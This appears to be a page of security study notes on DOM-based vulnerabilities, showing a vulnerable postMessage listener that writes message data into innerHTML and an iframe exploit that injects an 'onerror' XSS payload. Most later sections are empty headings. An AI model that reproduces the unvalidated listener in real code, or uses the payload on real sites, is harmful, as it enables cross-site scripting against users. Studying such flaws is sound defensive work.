DOM-based
Taint-flow
Sources Sinks
Web messages
If a website handles web message in an unsafe way, e.g. by not verifying the origin, code in the event listener become potential sinks.
Example 1 (no validation)
Vulnerable code
<script>
window.addEventListener('message', function(e) {
document.getElementById('name').innerHTML = e.data;
})
</script>Exploit
<iframe src="https://vulnerable-site.com" onload="this.contentWindow.postMessage('<img src=x onerror=print()>','*')">Example 2 (broken URL validation)
Vulnerable code
Exploit
Open redirect
Vulnerable code
Exploit
Cookie manipulation
Vulnerable code
Exploit
DOM clobbering
Other DOM-based vulnerabilities
Last updated